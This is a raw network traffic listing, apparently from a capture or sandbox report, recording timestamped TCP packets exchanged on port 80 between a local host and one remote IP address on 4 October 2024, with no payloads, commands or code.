Oct 4, 2024 09:52:32.456693888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456712961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456724882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456732988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456757069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456772089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456789017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456794024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456821918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456832886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456855059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456867933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456890106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456897020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456933022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.456948996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456979036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.456994057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457015991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457027912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457058907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457077980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457092047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457096100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457123041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457137108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457156897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457168102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457192898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457204103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457235098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457242012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457274914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457284927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457305908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457320929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457338095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457360029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457365036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457381010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457396984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457403898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457427979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457437038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457458019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457473040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457490921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457501888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457525015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457531929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457566023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457765102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457797050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457809925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457828999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457839966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457860947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457875013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457900047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457907915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457930088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457942963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457962990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.457971096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.457994938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458004951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458028078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458039045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458061934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458075047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458111048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458141088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458168030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458184958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458199978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458209038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458231926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458242893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458261013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458275080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458292961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458306074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458324909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458339930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458358049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458369017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458385944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458400011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458420992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458463907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458528042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458798885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458839893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458848000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458878040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458884001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.458910942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458952904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458986044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.458988905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459011078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459018946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459029913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459053040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459063053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459085941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459098101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459119081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459129095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459151983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459166050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459184885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459197998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459206104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459219933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459219933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459235907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459245920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459249020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459264040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459266901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459266901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459290028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459300041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459306002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459321022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459326029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459326982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459336996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459346056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459352016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459371090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459372044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459403038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459539890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459554911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459568977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459589958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459589958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459604979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459614992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459620953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459635973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459636927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459650993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459655046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459666014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459681034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459681034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459681988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459696054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459701061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459711075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459721088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459727049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459742069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459745884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459745884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459757090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459770918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459770918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459773064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459788084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459790945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459803104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.459806919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459831953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.459831953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460306883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460324049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460339069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460354090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460355043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460369110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460380077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460380077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460392952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460403919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460403919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460407972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460422993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460427046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460437059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460441113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460453033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460458040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460468054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460483074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460481882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460481882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460498095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460500956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460511923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460520029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460526943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460541964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460545063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460545063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460557938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460572958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460573912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460573912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460589886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.460592985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460617065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.460617065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544678926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544744015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544765949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544779062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544787884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544816017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544831038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544867039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544868946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544899940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544905901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544934034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544936895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.544966936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.544970036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545001030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545006037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545033932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545034885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545067072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545067072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545100927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545103073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545135021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545139074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545167923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545171976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545201063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545206070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545234919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545238018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545274973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545574903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545608997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545614958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545641899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545644045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545677900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545679092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545715094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545717955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545752048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545753956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545784950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545787096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545819044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545819998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545855045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545907974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545944929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.545957088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545989990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.545999050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546022892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546027899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546056986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546057940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546089888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546096087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546123981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546127081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546156883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546160936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546190977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546190977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546226978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546318054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546350956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546354055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546389103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546515942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546549082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546581030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546613932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546646118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546678066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546693087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546710968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546727896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546744108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546749115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546777010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546782970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546809912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546812057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546844006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546844959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546878099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.546880007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.546912909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547032118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547064066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547070026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547096968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547100067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547130108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547131062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547163010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547163010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547195911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547198057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547230005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547230959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547266006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547503948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547537088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547542095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547569990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547570944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547601938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547605038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547635078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547636986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547667027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547667980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547700882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547700882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547732115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547734022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547764063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547765017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547796965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547801018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547830105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547830105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.547863960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.547866106 CEST	49745	80	192.168.2.4	141.98.233.156
